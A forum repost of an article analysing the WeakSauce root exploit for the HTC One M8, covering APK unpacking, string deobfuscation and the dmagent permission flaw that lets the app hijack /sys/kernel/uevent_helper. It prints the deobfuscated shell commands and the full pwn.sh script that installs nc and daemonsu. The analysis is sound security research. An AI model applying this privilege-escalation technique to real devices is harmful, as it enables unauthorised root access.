Jump to content
Nytro

Analyzing the WeakSauce Exploit

Recommended Posts

Posted

Analyzing the WeakSauce Exploit

Jonathan Levin, Redirecting you to main page..

As part of the devices I researched for my upcoming book on Android Internals, I got myself an HTC One M8. A chief factor in my decision was knowing that it had a working 1-click root, since I didn't want to root it using a bootloader unlock (which would ruin the prospects of selling it on eBay once I'm done).

The exploit for the One M8 is called WeakSauce, and has been published on XDA Developers by members jcase (who discovered the vulnerability) and beaups (who helped exploit it). It's packaged as a simple APK, which you can download and push to the device, but I couldn't find much documentation on how it works, though it had been classified as an HTC specific vulnerability, and not a generic one in KitKat. Since I have a chapter dealing with security, it made sense to try and figure out exactly what the exploit is doing.

This article was created to detail the process, and is written as a tutorial. Going along, I hope to publish more of these articles as updates to the book, as I have with the OS X/iOS book.

Step I: Examine the APK

Getting the APK is a simple enough matter, as it is freely and readily downloadable. After getting it, we can unzip to examine its contents:

morpheus@Ergo (~/tmp)$ unzip -l WeakSauce-1.0.1.apk

Archive: ../../WeakSauce-1.0.1.apk

Length Date Time Name

-------- ---- ---- ----

630 03-30-14 10:20 META-INF/MANIFEST.MF

751 03-30-14 10:20 META-INF/TIMEPINK.SF

912 03-30-14 10:20 META-INF/TIMEPINK.RSA

853044 03-30-14 10:19 assets/busybox

52428800 03-30-14 10:19 assets/xbin.img

3067 03-30-14 10:19 res/drawable/ic_launcher.png

652 03-30-14 10:20 res/layout/activity_main.xml

464 03-30-14 10:20 res/menu/main.xml

2840 03-30-14 10:20 AndroidManifest.xml

1852 03-30-14 10:19 resources.arsc

705756 03-30-14 10:19 classes.dex

-------- -------

53998768 11 files

As the above shows, the APK has no JNI functionality (otherwise it would have a lib/ subfolder). The only "unusual" thing about it are the assets - the APK packages busybox (the all-in-one-binary, statically compiled) and an image of xbin (An ext4 loopback mount image). The manifest is also quite simple (I XMLized the relevant portions):

morpheus@Ergo (~/tmp)$ aapt d xmltree WeakSauce-1.0.1.apk AndroidManifest.xml | xmlize

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

package="com.cunninglogic.weaksauce"

android:versionCode="1"

android:versionName="1.0.1">

...

<uses-permission android:name="android.permission.INTERNET">

<uses-permission android:name="android.permission.BLUETOOTH">

<uses-permission android:name="android.permission.BLUETOOTH_ADMIN">

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED">

<application

...>

..

<intent-filter>

<action android:name="android.intent.action.BOOT_COMPLETED" />

<action android:name="android.intent.action.QUICKBOOT_POWERON" />

</intent-filter>

</receiver>

</application>

</manifest>

The only thing that's intriguing is why WeakSauce needs BlueTooth permissions. This will be explained shortly.

Step II: dexter

The dexter is a simple DEX file parser and extractor I wrote as an appendix to Chapter 10 of the book, which deals with the internals of the Dalvik VM. The tool is an improvement on the well known dexdump utility, in that it is more Java-aware, and can also perform some decompilation. Using it to dump the classes revealed some 521 classes, of which the vast majority were Android support classes - so these could be outright ignored.

morpheus@Ergo (~/tmp)$ dexter --classes classes.dex | grep -v " android"

Class Defs: 521 bytes @0x17540

Class 343: Package: com.cunninglogic.weaksauce Class: D; (y)

Class 344: Package: com.cunninglogic.weaksauce Class: G; (y)

Class 345: Package: com.cunninglogic.weaksauce Class: H; (y)

Class 346: Package: com.cunninglogic.weaksauce Class: J; (l)

Class 347: Package: com.cunninglogic.weaksauce Class: K; (v)

Class 348: Package: com.cunninglogic.weaksauce Class: M; (y)

Class 349: Package: com.cunninglogic.weaksauce Class: MainActivity; (v)

Class 350: Package: com.cunninglogic.weaksauce Class: OnBootReceiver; (w)

Class 351: Package: com.cunninglogic.weaksauce Class: Weak; (f)

Class 352: Package: com.cunninglogic.weaksauce Class: b; (y)

Class 353: Package: com.cunninglogic.weaksauce Class: c; (v)

Class 354: Package: com.cunninglogic.weaksauce Class: f; (y)

Class 355: Package: com.cunninglogic.weaksauce Class: i; (y)

Class 356: Package: com.cunninglogic.weaksauce Class: j; (y)

Class 357: Package: com.cunninglogic.weaksauce Class: k; (y)

Class 358: Package: com.htc.engine.system Class: SystemAccess ®

morpheus@Ergo (~/tmp)$ dexter --extract com.cunninglogic.weaksauce classes.dex

Extracting all classes belonging to com.cunninglogic.weaksauce Package...

15 Classes extracted.

morpheus@Ergo (~/tmp)$ dexter --extract "com.htc*" classes.dex

Extracting all classes matching "com.htc*"

1 Class extracted.

Aside from the android support classes, which are nothing special), only has the com.cunninglogic.weaksauce package classes - obfuscated, as is readily seen from the class names - and the com.htc.engine.system.SystemAccess.class - which is a replacement class for the similarly named class on the phone.

Step II': dex2jar

Since imgtool is not out yet at the time I'm writing this (it will be released with the book), you can use the dex2jar tool to unpack the classes. This is a simple, yet powerful utility, which undoes the work performed by the SDK's dx. Whereas the latter takes the Java classes of the APK, in JAR form, and creates a classes.dex, the former converts the classes.dex back into a JAR file. The usage is straightforward. Unpacking, you should get a classes-dex2jar.jar file, which you can unzip.

morpheus@Ergo (~/tmp)$ unzip -l classes-dex2jar.jar

Archive: classes-dex2jar.jar

Length Date Time Name

-------- ---- ---- ----

0 05-15-14 15:54 android/

0 05-15-14 15:54 android/support/

0 05-15-14 15:54 android/support/v4/

# .. miscellaneous android/support/v4 classes that are totally irrelevant ...

0 05-15-14 15:54 com/

0 05-15-14 15:54 com/cunninglogic/

0 05-15-14 15:54 com/cunninglogic/weaksauce/

236 05-15-14 15:54 com/cunninglogic/weaksauce/D.class

281 05-15-14 15:54 com/cunninglogic/weaksauce/G.class

306 05-15-14 15:54 com/cunninglogic/weaksauce/H.class

159 05-15-14 15:54 com/cunninglogic/weaksauce/J.class

755 05-15-14 15:54 com/cunninglogic/weaksauce/K.class

281 05-15-14 15:54 com/cunninglogic/weaksauce/M.class

3203 05-15-14 15:54 com/cunninglogic/weaksauce/MainActivity.class

674 05-15-14 15:54 com/cunninglogic/weaksauce/OnBootReceiver.class

8512 05-15-14 15:54 com/cunninglogic/weaksauce/Weak.class

331 05-15-14 15:54 com/cunninglogic/weaksauce/b.class

653 05-15-14 15:54 com/cunninglogic/weaksauce/c.class

281 05-15-14 15:54 com/cunninglogic/weaksauce/f.class

1194 05-15-14 15:54 com/cunninglogic/weaksauce/i.class

281 05-15-14 15:54 com/cunninglogic/weaksauce/j.class

306 05-15-14 15:54 com/cunninglogic/weaksauce/k.class

0 05-15-14 15:54 com/htc/

0 05-15-14 15:54 com/htc/engine/

0 05-15-14 15:54 com/htc/engine/system/

1249 05-15-14 15:54 com/htc/engine/system/SystemAccess.class

# .. miscellaneous android/support/v4 classes that are totally irrelevant ...

540 05-15-14 15:55 android/support/v4/view/ViewCompat$KitKatViewCompatImpl.class

-------- -------

849028 550 files

Step III: Deobfuscation

The classes extracted from the APK are obfuscated, but it's a simple enough matter to deobfuscate them. Looking at the SystemAccess as an example, we see:

System.load(i.m("JR\033C\007]\026TTo'\003\003O\007E\017\035\000A\b`2[\024U\026U\000UKU\n"));

Which implies the strings (in this case, presumably the name of a native library) are also obfuscated. The implementation of i.m shows: package com.cunninglogic.weaksauce;

public final class i

{

public static String m(String paramString)

{

StackTraceElement localStackTraceElement = new java.lang.Exception().getStackTrace()[1];

String str = localStackTraceElement.getMethodName() + localStackTraceElement.getClassName();

..

The i.m method relies on its caller - obtained through the stack trace - as a key to the obfuscation. With that in mind, it's simple to create an m2, which also gets the class and method names as arguments. That is:

public static String m2(String paramString, String MethodName, String ClassName)

{

StackTraceElement localStackTraceElement = new java.lang.Exception().getStackTrace()[1];

String str = localStackTraceElement.getMethodName() + localStackTraceElement.getClassName();

// Override:

str = MethodName + ClassName;

// and we can now call this function instead of the old m,

// e.g. SystemAccess.m2("\000ZP\\\026\001v2KFC\004TXOD",

// "com.cunninglogic.weaksauce.Weak",

// "m");

So, after a little bit of search and replace we can reveal that the above string is really: "system/lib/libdm-systemaccess.so". It turns out there is a similarly named m method in SystemClass.java, used extensively by the Weak class (which performs the bulk of the work). This method obfuscates by taking using the classname, and then the method name (that is, in reverse). Deobfuscating all of the strings used in Weak class yields:

data/data/com.cunninglogic.weaksauce/temp/xbin.img

system/bin/chmod 755 /data/data/com.cunninglogic.weaksauce/temp/pwn.sh

/system/bin/chmod 755 /data/data/com.cunninglogic.weaksauce/temp/busybox

system/bin/echo 1 > /data/data/com.cunninglogic.weaksauce/temp/one

/system/bin/chmod 770 /data/data/com.cunninglogic.weaksauce/temp/one

...

/system/bin/sync

echo '/data/data/com.cunninglogic.weaksauce/temp/pwn.sh' > /sys/kernel/uevent_helper

/system/bin/sync

/system/bin/chmod 770 /data/data/com.cunninglogic.weaksauce/temp

/system/bin/sync

/data/data/com.cunninglogic.weaksauce/temp

/system/bin/echo 1 > /data/data/com.cunninglogic.weaksauce/temp/onboot

data/data/com.cunninglogic.weaksauce/temp/pwn.sh

So - what do we have? A lot of shell commands. Root access is somehow obtained, then these commands are run. Of particular interest is data/data/com.cunninglogic.weaksauce/temp/pwn.sh, which looks like the "pwn script". Note (in the above echo command) it gets written to /sys/kernel/uevent_helper, which is expected to contain the name of a binary launched by the kernel on device addition. This file is writable only by root, however, so the exploit must be doing something before writing to it. Indeed, looking at the device post-exploitation, we see:

root@htc_m8wl:/data/data/com.cunninglogic.weaksauce/temp # ls -l /sys/kernel/

..

-rwxrwx--- u0_a235 u0_a235 4096 2014-05-16 14:21 uevent_helper

-r--r--r-- root root 4096 2014-05-16 14:30 uevent_seqnum

..

Showing that /sys/kernel/uevent_helper has been chown'ed to be WeakSauce's. Since the root exploit works and we have access to all the directories, we can just navigate to WeakSauce's directory, and see:

root@htc_m8wl:/data/data/com.cunninglogic.weaksauce/temp # cat pwn.sh

#!/system/bin/sh

echo 1 > /sys/kernel/uevent_helper

/system/bin/cat /system/xbin/dexdump > /data/data/com.cunninglogic.weaksauce/temp/dexdump

/system/bin/cat /system/xbin/nc > /data/data/com.cunninglogic.weaksauce/temp/nc

/system/bin/cat /system/xbin/dexus > /data/data/com.cunninglogic.weaksauce/temp/dexus

/system/bin/chmod 744 /data/data/com.cunninglogic.weaksauce/temp//nc

/system/bin/chmod 755 /data/data/com.cunninglogic.weaksauce/temp/dexus

/system/bin/chmod 755 /data/data/com.cunninglogic.weaksauce/temp/dexdump

/data/data/com.cunninglogic.weaksauce/temp/busybox mount /data/data/com.cunninglogic.weaksauce/temp/xbin.img /system/xbin

/system/bin/sync

/system/bin/cat /data/data/com.cunninglogic.weaksauce/temp/nc > /system/xbin/nc

/system/bin/cat /data/data/com.cunninglogic.weaksauce/temp/dexus > /system/xbin/dexus

/system/bin/cat /data/data/com.cunninglogic.weaksauce/temp/dexdump > /system/xbin/dexdump

/system/bin/chmod 744 /system/xbin/nc

/system/bin/chmod 755 /system/xbin/dexus

/system/bin/chmod 755 /system/xbin/dexdump

/system/bin/chown 0.2000 /system/xbin/nc

/system/bin/chown 0.2000 /system/xbin/dexus

/system/bin/chown 0.2000 /system/xbin/dexdump

/system/xbin/daemonsu --auto-daemon &

So all that would be needed is to get the kernel to detect a new device. This is why Weaksauce required bluetooth permissions - looking at the Weak class we see:

SystemAccess.m().CopyFileCtl(

SystemAccess.m("\002DGWD\004IDWN\006\001\013V\023JZCENOXUBLP\\\001^LN\t\027zhJJ\002_BLQ\b"),

SystemAccess.m("NOB"),

SystemAccess.m("M\027bn\006DHYIDM\b"),

SystemAccess.m("Z\007\022~s]pENKQDU"));

// /system/bin/sync

m(SystemAccess.m("\000ZP\\\026\001v2KFC\004TXOD"));

//m ("echo '/data/data/com.cunninglogic.weaksauce/temp/pwn.sh' > /sys/kernel/uevent_helper");

m(SystemAccess.m("HHQP\017\016\006K\003\020z2MNYJ\bBNJ\001JVKON\f\003CF^VA\nUADHQE^......"));

// /system/bin/sync

m(SystemAccess.m("\000ZP\\\026\001v2KFC\004TXOD"));

// ...

localBluetoothAdapter = BluetoothAdapter.getDefaultAdapter();

bool1 = localBluetoothAdapter.isEnabled();

if (!bool1) {

localBluetoothAdapter.enable();

}

The call to CopyFileCtl is the important one here - this was defined as a native method of the replaced com.htc.engine.system.SystemAccess class. As it so happens, this does, in fact, turn out to be a JNI library, with the corresponding method defines as:

[morpheus@Forge ~]$ /usr/local/android-ndk-r8e/toolchains/arm-linux-androideabi-4.7/prebuilt/\

linux-x86_64/bin/arm-linux-androideabi-objdump -d libdm-systemaccess.so

...

00001d60 <Java_com_htc_engine_system_SystemAccess_CopyFileCtl>:

..

The fault lies in this function, which calls HTC's dmagent (thorugh the /dev/socket/dmsocket socket). The daemon (running as root, naturally) performs the copying, but along the way the file permissions get incorrectly chmod'ed. Game over.

Summary

This article detailed how WeakSauce works. To recap:

  • WeakSauce creates a replacement class for HTC's SystemAccess.
  • Using JNI, it triggers a file copy operation, passing /sys/kernel as one of its arguments
  • The dmagent daemon happily complies, and chowns the permissions on /sys/kernel/uevent_helper
  • WeakSauce readily exploits this by writing its pwn.sh as the uevent handler
  • WeakSauce disables/enables BlueTooth, which makes the kernel trigger the uevent_helper - that is, pwn.sh

From this point on, it's all downhill - DaemonSu is installed, which is required in KitKat since a simple setuid /system/xbin/su wouldn't work - The SELinux context would confine even a root owned process to be u:r:shell:s0 (This is explained in Chapter 21, which deals with security). This way, when you type "su", you're actually going to a daemonsu, which runs as u:r:kernel:s0, and spawns you an unrestricted tmp-mksh. You can see that with ps -Z:

#

# Show all processes, filter out kernel threads, but still show u:r:kernel:s0 context:

#

root@htc_m8wl:/# ps -Z | grep -v " 2 " | grep kernel

u:r:kernel:s0 root 3113 1 daemonsu:mount:master

u:r:kernel:s0 root 3114 3113 daemonsu:master

u:r:kernel:s0 root 5449 3114 daemonsu:10236

u:r:kernel:s0 root 6559 3114 daemonsu:0

u:r:kernel:s0 root 6567 6559 daemonsu:0:6556

u:r:kernel:s0 root 6569 6567 daemonsu

u:r:kernel:s0 root 6572 6567 tmp-mksh

u:r:kernel:s0 root 7521 6572 ps

u:r:kernel:s0 root 7522 6572 grep

u:r:kernel:s0 root 7523 6572 grep

#

# Note the adb spawned shell is the parent of su, which is why they're both still

# u:r:shell:s0..

root@htc_m8wl:/# ps -Z | grep 6530

u:r:shell:s0 shell 6530 3618 /system/bin/sh

u:r:shell:s0 shell 6556 6530 su

.. And that's all. If you haven't yet checked out the book, please do so now, and feel free to drop me a line at j@ (this domain) for any questions, comments, or requests.

Greets

  • jcase and beaups - Great work, you guys. HTC owes you another customer (for now, at least)

Sursa: http://www.newandroidbook.com/Articles/HTC.html

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...